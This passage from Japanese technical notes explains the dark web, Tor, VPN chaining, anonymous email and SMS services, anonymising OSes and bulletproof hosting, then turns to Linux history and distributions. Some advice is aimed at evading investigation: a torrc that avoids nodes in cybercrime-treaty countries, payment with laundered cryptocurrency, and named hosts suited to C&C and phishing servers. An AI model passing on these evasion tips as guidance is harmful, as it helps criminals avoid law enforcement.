言い方をすれば検索エンジンにインデックスされていない部分、または通常ブラウザで閲覧ができないWebをいう。

深層ウェブにはダークウェブやマリアナウェブが含まれる。
また広義ではアクセスに認証が必要なWebコンテンツを提供するページ、各SNSの個人チャットやグループなどもダークウェブに含まれる。

1.1.3. ダークウェブ

ダークウェブは匿名性と追跡回避を実現する技術を使用したネットワーク上のWeb領域を指す。
閲覧も一般的なChromeやMicrosoft Edge, FirefoxなどのWebブラウザーでは不可能であり、アクセス/情報の取得に専用ツールを必要とする。遺法性が高い情報や物品が取引されており、犯罪の温床ともなっている。

また匿名性と追跡回避を実現する技術/サービスの代表的なものを以下にまとめる。

技術/サービス種類説明
Tor匿名化技術発信元の秘匿化を実現する匿名ネットワーク技術
TorブラウザWebブラウザTorの仕組みを応用した匿名化ブラウザ
Anonfilesファイルアップローダ匿名性の高いファイルアップロードサービス(2023年8月に閉鎖)
Telegramメッセージアプリ匿名性の高いメッセンジャー
Signalメッセージアプリ秘匿性が高いメッセンジャー
Sessionメッセージアプリ上記2つよりも秘匿性の高いメッセンジャー

1.2. ダークウェブを取り巻く現状

1.2.1. ダークウェブの歴史

1990年代にアメリカ海軍研究所によって匿名化ネットワークであるトルネットワーク(現称:Tor)が開発された。
Torではユーザーの通信を暗号化してリレーすることで、ユーザーの身元を隠すことができる仕組みを提供する。
そして2002年にTorの最初のバージョンが公開された。これを機にダークウェブの発展が始まったとされる。

Tor自体は中国やイランなどWebの閲覧に制限がある国々や独裁国家の活動家たちが当局の監視をくぐり抜ける必要がある人によりその特性から使用されている。また世界中のジャーナリスト、活動家、内部告発者、諜報機関が政府の監視下から逃れるために使用しているケースもある。

1.2.2. ダークウェブの現状

ダークウェブは匿名でのアクセスが基本となるため、サーフェイスウェブでは見られないような、違法性が高いさまざまなコンテンツや物品が取引されている。児童ポルノや麻薬など多くの国々で違法とされているものだけでなくサイバー攻撃で使われるツールなどのようなものも多い。以下にその例を挙げる。

  • WebサイトログインID/パスワードのリスト
  • 個人情報(住所/電話番号など)のリスト
  • アプリケーションのアクティベーションコード
  • 不正に入手されたクレジットカード情報/偽造クレジットカード
  • マルウェア製作のためのツールキット
  • システムの脆弱性に関する情報

1.3. ダークウェブのリスクとセキュリティ

ダークウェブ(この場合Torネットワーク)ではサーフェスウェブよりもページに悪意のある動作をもったプログラムや動作が仕掛けられていることが多い。そのためアクセスすると情報を抜き取られたり、ウィルスに感染させられるケースも考えられる。

そのため後述するTorブラウザの設定やアクセスするページに関してしっかり調査/検討などを行う必要がある。

サイト/ファイルの調査のために役立つサイトなどを以下にいくつか記載する。

サイト/サービスURL説明
VirusTotalhttps://www.virustotal.com/gui/home/uploadファイルやウェブサイトのマルウェア検査を行うウェブサイト。そのファイルやウェブサイトが「マルウェアを含むかどうか」検査できる。
ANY.RUNhttps://any.run/アップロードした検体を操作してファイルの挙動を見ることができるオンライン型のサンドボックスサービス。
HybridAnalysishttps://www.hybrid-analysis.com/アップロードしたファイルの挙動情報などの詳細な解析結果が得られるサービス。
Abuse IPDBhttps://www.abuseipdb.com/IPを検索することで、そのIPに関する他者からの報告を確認できる。グローバルIPアドレスを調査したい場合に使用できる。
Abuse URLhaushttps://urlhaus.abuse.ch/browse/マルウェアの配信元URLか調査が可能。
Hydra Analysishttps://www.hybrid-analysis.com/ファイルやURLの動的解析を提供するサービス。実行時の挙動やネットワーク上の活動を詳細に解析し潜在的な脅威を検出可能
Metadefenderhttps://metadefender.opswat.com/複数のセキュリティエンジンを使用してファイルスキャンを行いマルウェアやその他の脅威を検出できるサービス
HaveIBeenPwnedhttps://haveibeenpwned.com/インターネット利用者が自らの個人情報が漏洩していないかを照会できるウェブサイト
SHODANhttps://www.shodan.io/インターネットに接続されているデバイスについての機器・サービス情報を検索できる検索エンジン
Agusehttps://www.aguse.jp/調査したいサイトのURLや受信したメールのメールヘッダーを入力することにより、関連する情報を表示するサービス
Aguse Gatewayhttps://gw.aguse.jp/ユーザの代わりにサイトアクセスを行いサイトの表示情報を画像で表示してくれるサービス

1.4. ダークウェブと仮想通貨

ダークウェブ上での取引において通常決済という行為は犯罪者にとってリスクが高い。
クレジットカードや銀行振り込みといった旧来の手段で代金を決済しようとすると匿名性が失われるからである。

2009年に仮想通貨と呼ばれる特定の国家による価値の保証を持たない通貨が誕生した。
暗号通貨の根幹を成す技術はブロックチェーンと呼ばれる、ユーザーの全ての取引記録を完全な状態で共有するものであり、これが暗号通貨は信用を得るための仕組みとなる。
そのため仮想通過の取引記録は誰でも閲覧可能という特徴がある。

上記の特徴からダークウェブにて取引を行う場合以下の方法が上げられる。

  • Monero、Zcashといった匿名性の高い仮想通貨を使用する
  • 匿名性の高い仮想通貨を介してミキシングしたビットコインを使う
  • 各種ギフトカード(Amzonギフトカードなど)を利用する
  • 購入後3か月経過したVプリカギフトの利用

13.2 - 2.Tor

匿名ネットワーク最大手のTorネットワークに関して

2.1. Torの概要

Torではクライアントからサーバーへの接続に複数のノードを経由することにより、発信元の秘匿化を実現する。
また通信内容は暗号化されているが、末端の出口ノードでは暗号化されないため、サーバ側には末端ノードのIPアドレスが発信元IPアドレスとして記録される。

後述するがVPNと併用することでさらなる匿名化通信を行うことができる

2.2. Torの仕組みと構成要素

2.2.1. オニオンルーティング

オニオンルーティングはTorネットワーク内で通信経路を隠蔽するために行われる暗号化と通信を行う機能を指す。
Torが構築したネットワークを経由するとクライアント(Webブラウザ)から目的のWebサイト(Webサーバ)に到達するまでの経路を隠蔽することができる。

なお匿名化を行う通信のプロトコルはTCPのみである。

2.2.1.1. オニオンルーティングのフロー

オニオンルーティング

  1. Torクライアントは、ディレクトリオーソリティにアクセスしアクセスできるノード(サーバ)一覧を取得
  2. Torクライアントは、取得したノード一覧からランダムに3つのノードを選択
  3. Torクライアントは、送信するデータを3重に暗号化し、最初のノード:ガードリレーにデータを送信。Torでデータを3重に暗号化し、各リレーで一つ一つ、複合化していく。3重に暗号化されたデータを各ノードで一つずつ複合化していく処理がタマネギの皮をむく過程と似ていることからオニオン(タマネギ)・ルーティングといわれる。
  4. ガードリレーはデータを受取・解読し、次のミドルリレーへとデータを送信。各リレーはどこからデータがきて最終目的地はどこかは分からない。自分の前と後ろのノードしか分からない構造になっている。これによりアクセス元のIPや情報が秘匿され、アクセス経路の匿名性が保たれる。
  5. ミドルリレーはデータを受取・解読し、次のエグジットリレーへとデータを送信
  6. エグジットリレーはデータを受取・解読し、インターネットを経由して、Webサーバへアクセスし、必要なデータやWebページを取得し、クライアントにデータを送信

オニオンルーティング単体自体ではアクセス経路の匿名性は保たれるが、通信内容(データ)の秘匿化は行われない

2.2.1.2. サーキット

Torでは3つのノードを経由して通信経路を匿名化する。
この3つのノードをつないだ経路はサーキットと呼ばれる。

  • 第1ノード(ガードリレー) … 最初にアクセスするノード
  • 第2ノード(ミドルリレー) … 2つ目にアクセスするノード
  • 第3ノード(エグジットリレー) …最後にアクセスするノード。Webサイトを提供するサーバからはアクセス元として表示される。

2.2.1.3. ブリッジ

Torでは非公開のガードリレー(ブリッジ)を提供している。
これはTorのWebサイト上ですべてのノードに関する情報を提供しているため、インターネットに制限をする国がガードリレーへのアクセスを遮断する可能性があるからである

2.2.2. オニオンサービス

オニオンサービスはTorネットワークを介してのみアクセスできるサービスを指す。

2.2.2.1. onionドメイン

Torネットワーク内ではIPアドレスでのアクセスと異なり、公開鍵が埋め込まれたonionドメインを基にアクセスする。

2.2.2.2. オニオンサービスの構築/運用方法

参考になるページをいくつか記載する。

Tor 公式サイト onion ドメインのウェブサイトを開設する

2.3. Torブラウザ

Torの開発元でもあるThe Tor Projectが開発しているFirefoxをベースとしたOSSのブラウザであり、非常に手軽に使え、強力な匿名化方法でもある。
TorブラウザはTorネットワークを迂回した通信を行なわないよう設定されている、またすべてのユーザーが同じように見えるよう設定されていたり、ブラウザを閉じるとCookieや検索履歴、サイトデータなどが自動で削除されたり、サードパーティートラッカーや広告による追跡を妨げたりと匿名性を上げるための多くの工夫がなされている。

ちなみに、Torを用いずに一般ブラウザ上でTorネットワーク内のWebコンテンツを閲覧できるサービスがあり代表的なものにはOnion.toがある。

2.3.1. torrcの設定

torrcというファイルの設定で通信の際に経由するノードを指定することができる。
経由するノードをログ保有期間が短い国に設定することで匿名性をさらに高めることも可能。

ファイル場所はtailsの場合/etc/tor/torrc、Torブラウザの場合tor-browser_ja-JP/Browser/TorBrowser/Data/Tor/torrcにある。

匿名性の高いtorrc設定

参考までにログの保管期間の長い/サーバー犯罪条約に加盟している国家のノードの未使用にするための設定を以下に記載。

ExcludeNodes {jp},{us},{gb},{ca},{au},{nz},{de}, {fr},{nl},{no},{de},{be},{it},{es},{il},{sg},{kr},{se}
ExcludeExitNodes {jp},{us},{gb},{ca},{au},{nz},{dk},{fr},{nl},{no},{de},{be},{it},{es},{il},{sg},{kr},{se},{bg},{cz},{fi},{hu},{ie},{lv}
NumEntryGuards 5
StrictNodes 1
  • StrictNodes … Excludeで指定したノードへ接続するかしないかを0(接続する場合がある)と1(絶対に接続しない)で指定
  • NumEntryGuards … 中継ノード数の設定
  • ExcludeExitNodes … ここで指定された国の出口ノードでの回路構築を行わない
  • ExcludeNodes … 指定したノードには接続しない。国コード、IPアドレスなどが指定可能。

ちなみに過度にExcludeNodesの数を設定しすぎると逆に経由するノードの数が限られてしまい不規則性が損なわれ匿名性を落としてしまうため注意点すべき。

2.3.2. セキュリティのレベル

Torブラウザのセキュリティは設定から「標準」「より安全「最も安全」の3つが選ぶことができる。

設定説明
標準すべての機能が有効
より安全HTTPSではないサイト(HTTP)ではJavaScriptはすべて無効化。また、HTML5メディア(音声、動画)は自動再生されず画面クリック後に再生される。
最も安全静的コンテンツのみを表示。HTTP/HTTPSに関わらず、JavaScriptはすべて無効化。また、HTML5メディア(音声、動画)は自動再生されず、画面クリック後に再生する。

ダークウェブにアクセスする場合は最も安全に設定することを勧める。

2.3.3. Torの設定

2.3.3.1. クイックスタート - Quickstart

起動時に自動でTorネットワークに接続するかどうか設定可能。

2.3.3.2. ブリッジ - Bridge

Bridgeはインターネットの制限が大きい国でTorへのアクセスも遮断されている場合にTorへ接続するための機能。 Bridgeを使用すると、Torへの最初のアクセス先は非公開のサーバとなる。
日本からアクセスする場合は基本的には使用する必要はないが、中国やロシアなどの国から使用する場合は使用した方がよい。

なおブリッジを使用することでISPにTorの使用を秘匿できる。

2.3.3.3. 詳細 -Details

プロキシサーバを経由してインターネットにアクセスしている場合にここにプロキシの情報を入力を行う。

2.3.4. Torブラウザで利用するダークウェブ検索エンジン

名称種類説明
DuckDuckGoトラッキング防止検索エンジンTorブラウザデフォルトの検索エンジン、.onionは検索できない
Ahmiaダークウェブ検索エンジン有名どころ
Torchダークウェブ検索エンジンダークウェブで最も古く人気のある検索エンジン
Onion URL Repositoryダークウェブ検索エンジンシンプルな検索エンジン
Virtual LibraryWWWの開発者のTimBerners-Leeにより開発されたダークウェブ検索エンジン

13.3 - 3.その他の匿名ネットワーク

I2Pなどに関して

13.4 - 4.匿名性の高いブラウジング

VPNやOnionブラウザなどに関して

4.1. 通常のブラウジング

通常のブラウジングではIPアドレスを元にサーバへのアクセスを行う。 そのため通常のブラウジングでは主に以下のようにネットワーク上に痕跡を残してしまう。

  1. 契約しているISPのアクセスログにサイトへのアクセス履歴が残ってしまう(一般的にはISPのログの保存期間は3~6か月とされる)
  2. 通信を要求したサーバにアクセスログが残る(匿名化を行わない場合、生IPがログとして残る)

2に関してはプロキシサーバを介することでクライアント端末の生IPを秘匿することは可能ではあるが、結局プロキシサーバからのアクセスログが残るため、それだけでは匿名性があるとは言えない。

4.2. 匿名化ブラウジング

Torだけの利用でも匿名性は高いが完全とは言えない。 そのためプロキシサーバやVPNを併用することでさらなる匿名化と利便性を上げることが可能となる。

上記を行うメリットは以下の通り。

  • Torをブロックするウェブサイトにアクセスができる
  • ISPへTorノードへのアクセスを秘匿できる

など

4.2.1. VPNの概要

VPNはカプセル化により仮想的なプライベートなネットワークを構築できる技術。 データを別のコンピュータに転送する間の通信が暗号化されるため、通信経路上からは外部からは2台がどのような通信をしているかを知ることができない。そのため通信の内容や本当の通信相手を秘匿することができる。

ちなみにVPNを利用すると契約しているISPや公衆無線LANの管理者からはVPNサーバに対し何らかの通信を行っていることしかわからない。

4.2.2. 通常VPN

通常VPNは利用者の通信ログを保存しないことを宣言していない通常のVPNサービスを提供する事業者を指す。

4.2.3. ノーログVPN

ノーログVPNは利用者の通信ログを保存しないことを宣言しているVPNサービスを提供する事業者を指す。 ノーログと謳っていても実際にはログを保存していたり、積極的に収集している業者も存在するため、利用の際は慎重に業者を選ぶ必要がある。

多くは有料であるが、決済の際に洗浄したビットコインや匿名通貨を使うことで決済の匿名化が可能である。

名称説明
NordVPNダブルVPNサービスがある。なお脆弱性が過去に複数発見されている
MullvadVPNミキシング仮想通貨で支払い可能なノーログVPN。Vプリカギフト支払い可能。
ExpressVPN最高レベルのセキュリティを保持しているVPN。月額換算900円で高額な方。
Private Internet Access
AirVPNVPN over Torに対応
Hide.me
Perfect Privacy
OVPN

なお上記はすべてインターネットVPNのクライアントVPNのサービスである。

4.3. 匿名化ブラウジングの強化

匿名化ブラウジングの手法は大きく分けるとTor over VPNVPN over Torの2種類ある。

Tor ovr VPNVPN over Tor
接続VPN経由でTorに接続Tor経由でVPNに接続
設定難易度低い(どのVPNでも可能)高い(AirVPNなど一部のVPNのみ対応)
匿名性非常に高い最高レベルの匿名性
特徴ダークウェブにアクセスできる、ISPはVPN接続を検知できる、ISPはTor接続を検知できない、Torで攻撃されても匿名を保つダークウェブにはアクセスできない、ISPはVPN接続を検知できない、ISPはTor接続を検知できる、VPNから通信履歴が漏れても匿名性を保つ

4.3.1. Tor over VPN

VPN to Torではクライアント端末からTorノード(ガードノード)までの通信を秘匿することができる。特性上ダークウェブにアクセスする際の匿名性/安全性を上げるのに使用される。

この場合、通信経路上のIPSのサーバには契約者の端末がVPNのサーバにアクセスしている情報がログが残されるため、ISPには契約者がVPNサーバにアクセスしていることしか記録されない。つまりISPにTorの使用を秘匿できる

 クライアント端末 => ISP(通常、ISPと契約するクライアントの通信は必ず通る) => VPNサーバ => Torリレー => アクセス対象サーバ

4.3.2. VPN over TorとProxy over Tor

VPN over Tor/Proxy over TorではTor経由でのアクセスをブロックしているサイトにアクセスすることができる。 原理的にはアクセスするサーバから見てVPNサーバ/プロキシサーバが送信元IPアドレスとなるためである。

またVPN over Tor(Onion over VPN)ではVPNサービス事業者に本当のIPアドレスを秘匿できる。 そのためVPNサービス事業者から通信ログが漏洩した場合の匿名性を守る事ができると言える。

 クライアント端末 => ISP(通常、ISPと契約するクライアントの通信は必ず通る) => Torリレー => VPNサーバ or Proxy => アクセス対象サーバ

VPN over Torは少々複雑であるため通常のVPNサービスでは対応していることは少ない。 対応していると知られているVPNサービス事業社にはAirVPNがある。 これらの特徴からWeb Proxy、この特徴からProxy over Torにすることが推奨される。

Tor to Proxyの場合はWebプロキシやHTTP/SOCKSプロキシを使う方法がある。 具体的には「Glype」「PHProxy」「Proxifier」「torsocks」この辺のツールで構築できる。

参考:Webプロクシサーバリスト 参考: VPN over Torのセットアップ方法

4.4. VPNのセキュリティを高めた接続方法

4.4.1. Double VPN

Double VPNは、通常のVPN接続をさらに別のVPN接続と重ねるもの(マルチホップ接続とも呼ばれる)。 これはトラフィックを2つ以上のVPNサーバーを経由させることで、プライバシーとセキュリティを向上させることを目的としている。

この手法は高いプライバシーとセキュリティを求める場合や特定の国でのインターネット検閲を回避したい場合に向いてると言える。

具体的な特徴は以下の通り。

  • 二重の暗号化 トラフィックは2重に暗号化されるためデータが盗聴や中間者攻撃から保護される。
  • IPアドレスの隠蔽 データは複数のVPNサーバーを経由するため出発地のIPアドレスが隠蔽されプライバシーが向上する。
  • トラフィックのルーティング 通信が複数のVPNサーバーを通過するため通信経路が複雑になり、トラッキングやトレースバックが難しくなる。

4.5. 様々な匿名によるサービスの利用方法

4.5.1. 匿名メールアドレス

匿名メールはProtonMailやGuerrilla Mailで実現する。 ただしSMS認証が必要となったため、匿名電話番号やSMSの入手が必要となる。

ProtonMail

ProtonMailはスイス のProton Technologies AGが提供している匿名電子メールサービス。

https://proton.me/mail

通信やメッセージを暗号化することでProtonMailの従業員もメッセージを復元できない「ゼロアクセス・アーキテクチャ 」を採用し、ログの保存やトラッキングを行わないなどセキュリティとプライバシー保護を重視している。

推奨ブラウザは Mozilla Firefox/Brave/Tor ブラウザ 。

Guerrilla Mail

Guerrilla Mailは使い捨てのメールアドレスをユーザーに提供するサービス。 特徴としては受信してから60分経過するとメールを完全に削除する。

4.5.2. 匿名電話番号/SMS

5SIM

5SIMは時間限定で1つのサービスのみのSMS受信可能の番号を入手できるサービス。

https://5sim.net/

SMS認証の承認に便利なサービスといえる。
支払い方法はプリペイド式クレジットカードがおすすめ。

sms24

https://sms24.me/en/

13.5 - 5.匿名ホスティングとサービスの提供

匿名性を上げてサービス(サーバ)を運営する方法に関してのヒント

5. 匿名ホスティングとサービスの提供

5.1. サービスのホスティング

5.1.1. ホスティングサービス

ホスティングサービスはWebサイト運営やメールの送受信に必要なサーバを貸し出すサービス(レンタルサーバ)のことを言う。
サービスをホスティングするには自前サーバで用意する場合以外に、以下のようなサービスが利用できる。

  • 個人/小規模事業者向け
    • 共有ホスティング
    • VPS
  • エンタープライズ向け
    • 専用ホスティング
    • コロケーション
    • マネージドホスティング
  • 利用者の形問わず
    • クラウドホスティング(IaaSなど)
    • 自己ホスティング
    • クラウドサービスの利用(PaaS, SaaS)
サービスの提供方法利用対象説明
共有ホスティング個人/小規模事業者複数のウェブサイトが1つの物理サーバー上でリソースを共有する形式。レンタルサーバなどが含まれる。
VPS個人/小規模事業者1つの物理サーバーを仮想的に分割し各VPSは独立した環境を提供する形式
専用ホスティングエンタープライズ1つの物理サーバーを個別のクライアントに提供しクライアント専用のリソースを提供する形式
コロケーションエンタープライズクライアントが自前のサーバーハードウェアをデータセンターに設置する方式
マネージドホスティングエンタープライズホスティングプロバイダーがサーバー管理、セキュリティ、バックアップなどの管理を提供する方式
クラウドホスティング-IaaSやPaaSなどで提供される形式
自己ホスティング-自宅LAN(SOHO)などで構築するオンプレ形式

なお通常のホスティングサービスは貸し出したサーバが悪事に使われないように、ホスティングサービス会社はユーザーの利用状況を外部に公開する
またホスティングサービスのプロバイダは政府関連機関の捜査令状によるサーバ情報の開示やDMCAによる削除命令を受け付けている。

5.1.2. 防弾ホスティングサービス

防弾ホスティングサービス(防弾サーバ)は高い匿名性を維持した状態でサーバを貸し出すホスティングサービスのこと。
防弾ホスティングサービスを運営する企業はユーザーの利用状況を外部に公開することはなく、第3者による通報やDMCAによる削除命令を無視することをほとんどの場合明言している。違法行為に寛容な方針を執るホスティングサービスである。

つまり法律的に曖昧なコンテンツの提供や違法性のあるコンテンツの提供に向いているホスティングサービスといえる。
そのためIPアドレスの偽装、不正アクセス、迷惑メールの大量送信、機密情報の流出などのサイバー犯罪に悪用できると言う特性がある。
これらの特性から防弾ホスティングは法規制を受けない国(スイス、オランダ、旧ソビエト諸国など)にサーバを設置することでサービスを実現している。

特徴

  • 仮想通貨での決済が可能

防弾ホスティングのユースケース

  • 権力者や政府機関の違法/不正行為の暴露
  • スパムメールの配信サーバ
  • Torrentのサーバ
  • C&Cサーバ
  • 著作権侵害サイトのホスティング
  • 国内で規制されているコンテンツの提供
  • 正規のサイトを装ったフィッシングサイトのホスティング

防弾ホスティングサービス一覧

防弾ホスティングを一部記載する。

サービス名拠点特徴
Bahnhofスウェーデンwikileaksが昔利用
FlokiNET現在WikiLeaksが利用。PayPal
Webcare360漫画村も利用していた。Webmoneyにより支払いが可能。
COIN.HOSTスイス
Dataclub.eu
GMHostエストニア/ドイツビットコインでの支払いが可能
INCOGNET
Inferno Solutionsロシア
LiteServerオランダTorの出口ノード設置が許可されている
Lyraスイス

5.2. サービスホスティングの匿名化

5.2.1. ドメインを匿名で入手する

Njalla

Njallaは事実上匿名でドメインを取得できるサービス。
NjallaではNjallaがドメインを取得してドメインの所有者となり、利用者はNjallaから使用権を得てドメインを利用するという形でドメインの匿名性を担保する。

支払い方法は暗号資産(Bitcoin, Litecoin, Monero, ZCash, Ethereum)もしくはPayPalから選択出来る。

5.2.2. Cloudflareによるサーバ生IPの秘匿化

Cloudfareは世界的なCDNサービス。
今回の場合は防弾ホスティングサービスを隠したい場合(生IPの秘匿)や大量のアクセスに耐えるWEBサイトを運営したいために利用する。

登録するメールアドレスは匿名メールを推奨。無料プランを選択すると良い。

5.3. オニオンサービス/Torリレーノードの構築

5.3.1. オニオンサービスの構築

WebサーバソフトとTorで構築可能。
なおサーバはグローバルIPを持つ必要はなく、ファイアウォールの受信ポートも開ける必要はない

5.3.2. Torリレーノードの構築

TorリレーノードはTorネットワーク内での通信の中継を行うサーバのこと。
Torのみで構築可能。

13.6 - 6.匿名化OS/ソフトウェア

Tails,Qubes OS、Whonixなど

6.1. 匿名化OS

6.1.1. Tails

Tailsは使用者がプライバシーと匿名性を保ってパソコンを使えるように設計されたLinuxベースのOS。
Tailsは使用後に履歴を全消去するためコンピューターに操作の痕跡を残すことなく作業が行える。
またインターネットの接続はすべてTorによって発信元の匿名化がなされ、Torを経由しない通信は完全にシャットアウトされる。

Tails 公式サイト

またTailsの特徴として以下のようなものが上げられる。

  • TorBrowserやPidginなどのアプリケーションを標準搭載している
  • デフォルトではブートに使用したパソコンのハードディスクには一切アクセスしない
  • USBメモリなどにインストールしてLive USBとして使用できる

Tailsでは永続化ボリュームを使用しない限り、シャットダウンするとデータがすべてリセットされる。

永続化ボリューム

永続化ボリューム(Persistent volume)は、Tailsに設定やその他のデータを保存するために必要なもの。
これは永続保存、つまりTails上に保存されるため扱うにはリスクが伴う。

hostnameの変更

sudo hostnamectl set-hostname localhost

壁紙を変更してwindowsのように見せかける

永続化ボリュームにwindows用の壁紙の画像データを保存する必要がある。
保存したら以下コマンドで壁紙の変更を行う。

gsettings set org.gnome.desktop.background picture-uri '<画像の絶対パス>'

6.1.2. Whonix

WhonixはDebianをベースに作られたLinuxディストリビューションの1つであり、通信経路をTorを用いて匿名化してプライバシーを守ること特徴がある。

WhonixはWhonix-Gateway及びWhonix-Workstationというふたつの仮想マシンから構成されるVirtualBox上で動かす前提のOS。
わかりやすく言うとWhonix-GatewayはTorを経由して匿名でインターネットに接続するためのゲートウェイ、WorkstationはWhonix-Gateway経由でインターネットに接続するための安全地帯のようなものとなる。
また付属するWorkstation以外でも任意のOSを匿名化することができる

Whonix 公式サイト

6.1.3. Qubes OS

もっともセキュリティに特化したLinuxと言われ、プライバシー保護やウイルス対策に非常に強いLinuxのディストリビューション。
あのエドワード・スノーデン氏も使用を推奨している。

Qubes OS 公式サイト

Xenという仮想化技術を用いてアプリケーションを並列して仮想環境上で実行できる特徴がある。
デフォルトではTorを用いた通信を行えないため、別途Whonix-Gatewayを導入する必要がある。

6.2. モバイル向け匿名化ソフトウェア

6.2.4. Orbot

Android用のアプリケーション。
ほぼすべてのアプリケーションの通信をTor経由に可能。

6.2.5. Orfox

Android向けのTorブラウザ。
Orbotと異なりTorブラウザとしてのみ機能する。

6.2.6. Onion Browser

IOS向けのOSSのTorブラウザ。

13.7 - 7.OS/通信の匿名化技術

さらなる匿名化のヒント(悪用厳禁)

6.1. Torrent

6.1.1. Torrentとは

6.2. ツール

6.2.1. Whonix-Gateway

Virtual Box上に導入するWhonix付属の仮想マシン。 ゲストOSの内部ネットワークとして機能しTorを介した接続のみ許可する。またDNS漏れ対策なども兼ね備えている。 またゲストOS上でVPNに接続することでVPN over Torも可能になる。

6.2.2. Anonsurf

Whonixなどの仮想マシンを通さずLinuxの通信全体をOS単体でTor/I2P経由にするプログラム

インストール

以下はkali linuxにインストールする方法。

sudo git clone https://github.com/Und3rf10w/kali-anonsurf
cd kali-anonsurf/
sudo ./install.sh

anonsurfの使用

# スタート/再起動/停止
sudo anonsurf start
sudo anonsurf restart
sudo anonsurf stop
# 現在のIPの確認
sudo anonsurf myip
# Tor IDを別のIDに変更
sudo anonsurf change
# Anonsurfが適切に起動しているか確認
sudo anonsurf status

6.2.3. GNU MAC Changer

MACアドレスを偽装するためのLinux向けのソフトウェア。 公共Wifiなどの接続の際にVPNと合わせ使用することを勧める。

なおTailsにはデフォルトでインストールされている。

6.2.4. Hidden VM

VirtualBoxなどの仮想化ソフトウェアの使用形跡をOSに残さないためのツール。 Tailsなどに他のOSを導入したい際に使用できる。

6.2.5. Proxychains

Proxychainsは通信を多段のプロキシサーバを経由することができるツール。

Proxychainsを使用するとアプリケーションが直接外部のサーバーと通信する代わりに設定したプロキシサーバーを経由して通信を行うことができる。これによりアプリケーションの通信を匿名化したり、セキュリティを強化することができる。

6.2.6. Proxifier

ProxifierはWindows上で動作する通信をプロキシサーバ経由して行うためのアプリケーション。

14 - Linux(UNIX系OS)基礎

LinuxOSの操作方法からLinuxサーバの構築/高度な運用方法に関して

14.1 - 1.Linux/シェル基礎

LPIC Lv1の範囲(基本操作、OS動作、Vim)など。Linuxの基本はこの項目でカバー

14.1.1 - 1.Linuxの基礎知識

Linuxの歴史、有名ディストリビューション、シェルの種類に関する解説

1.1. UNIXとLinux

1.2.1 UNIXの誕生

UNIXは1969年にアメリカのAT&T社ベル研究所において誕生した。 ベル研究所ではMulticsという大規模で複雑なOSの開発に関わっていたが、そのプロジェクトは進行が遅れていた。 そこで新たなアイディアをもとに小規模なOSであるUNIXを開発することを決意した。 UNIXはKen ThompsonやDennis Ritchieらが中心となりUNIXは開発されていく。

UNIXの設計はシンプルで、モジュール性に富んでいた。 コンパクトなコードと柔軟なデザインにより、異なるハードウェア上で移植が容易であった。 この特性が、UNIXの広がりと進化を支える要因となった。

UNIXは次第に多くの機能やツールが追加されていき、大学や研究機関で広く使われるようになった。 その後、AT&Tは商用ライセンスを提供し、商業利用も広がっていった。 一方で、研究者や技術者たちはUNIXのソースコードを入手し、独自のバージョンを開発することで、新たな機能や改良を加えるようになった。

この中で、System Vと**BSD(Berkeley Software Distribution)**が注目を集めた。 System VはAT&Tが開発した商用UNIXであり、商業的な成功を収めた。 一方で、BSDはカリフォルニア大学バークレー校で開発され、OSSのUNIXとして広まった。 BSDはネットワーキング機能やセキュリティの改良に力を入れ、後のUNIX系OSに多くの影響を与えた。

1.2.2. Linuxの誕生

1980年代初頭、UNIXは主に大学や研究機関で使用されコンピュータの世界において高度な操作性と柔軟性を提供していた。 しかし、商業的なUNIXバリエーションは高価であり一般のユーザーには手が届かない状況であった。

そんな中1991年フィンランドの学生であるLinus Torvaldsは、個人用コンピュータにUNIXのようなOSを作成するアイデアを抱きそれを実現するプロジェクトを開始した。 彼はそのプロジェクトにLinuxと名付け、その最初のバージョンを公開した。この行動は、自身のものだけでなく、世界中の開発者が協力して進めるOSSの哲学を採用していた。

Linus TorvaldsはGPL(GNU General Public License)と呼ばれるライセンスを採用しソースコードを公開することで、誰もがLinuxの開発に参加できる環境を提供した。 これにより世界中の開発者がLinuxの改善に貢献し、その成長を支えることができるようになった。 GPLはソフトウェアの自由な共有と改変を促進するものであり、Linuxコミュニティの発展に大いに寄与した。

Linuxはその後急速に進化し、多くのハードウェアプラットフォームや用途に対応するようになった。 こうして、Linus TorvaldsがLinuxを生み出し、GPLというライセンスによって世界中の人々が共同で育て上げることで、UNIXを踏まえた新たなOSの誕生が実現した。

1.2. ディストリビューション

1.2.1. ディストリビューションとパッケージ

LinuxはOSSのOSで、さまざまなディストリビューションが存在する。 ディストリビューションはLinuxカーネルをベースにして独自の特徴を持ち、さまざまな用途に合わせてカスタマイズされている。 Linuxは多くの場合、高いセキュリティ、安定性、カスタマイズ可能性を提供し、さまざまなデバイスや用途に利用されている。

ディストリビューションはたくさんのパッケージと呼ばれるソフトウェアコンポーネントをまとめて提供するもの。 これらのパッケージには、アプリケーション、ライブラリ、ドライバーなどが含まれている。

パッケージはソフトウェアのインストール、アップデート、削除を簡単かつ効率的に管理するための仕組みである。

ディストリビューションごとに異なるパッケージマネージャが使われていることがある。 パッケージマネージャは、たくさんのパッケージを管理するためのツールであり、新しいソフトウェアの導入や既存ソフトウェアのアップデートを容易にする。 代表的なパッケージマネージャとしては、Debianベースのディストリビューションで使われるAPT(Advanced Package Tool)や、Red Hatベースのディストリビューションで使われるRPM(Red Hat Package Manager)などがある。

ディストリビューションは、さまざまなユーザー層やニーズに合わせて提供されており、デスクトップ、サーバー、組み込みシステム、セキュリティテストなどの用途に特化したものが存在する。 また、ディストリビューションごとに独自のユーザーインターフェース、設定ツール、サポート体制が提供されており、ユーザーは自身の好みや目的に応じて選択できる。

1.2.2. 代表的なディストリビューション

以下にいくつかの有名なLinuxディストリビューションを含む表をまとめて表示する。

ディストリビューション特徴代表的なパッケージマネージャ
Red Hat Enterprise Linux (RHEL)企業向けに設計された堅牢なディストリビューション。商用サポート提供。RPM (yum/dnf)
CentOSRHELをベースにした無料のOSSディストリビューション。RPM (yum/dnf)
AlmaLinuxCentOS 8の終了に伴い代替として注目されているディストリビューションRPM (yum/dnf)
Fedora新機能の実験場としての役割を持つ、コミュニティ駆動型のディストリビューション。RPM (dnf)
DebianOSS志向で安定性を重視するディストリビューション。APT (apt)
Ubuntu初心者にも使いやすいデスクトップディストリビューション。APT (apt)
Linux MintUbuntuベースで、使いやすさと美しいデスクトップ環境に特化。APT (apt)
openSUSEユーザーと開発者の共同作業を重視し、堅牢なシステムを提供。Zypper
Arch Linuxユーザーカスタマイズと最新ソフトウェアに重点を置くローリングリリース。Pacman
ManjaroArch Linuxベースで使いやすいデスクトップ環境を提供するディストリビューション。Pacman
Slackware歴史あるオリジナルなディストリビューション。堅牢でカスタマイズ性高い。手動インストール
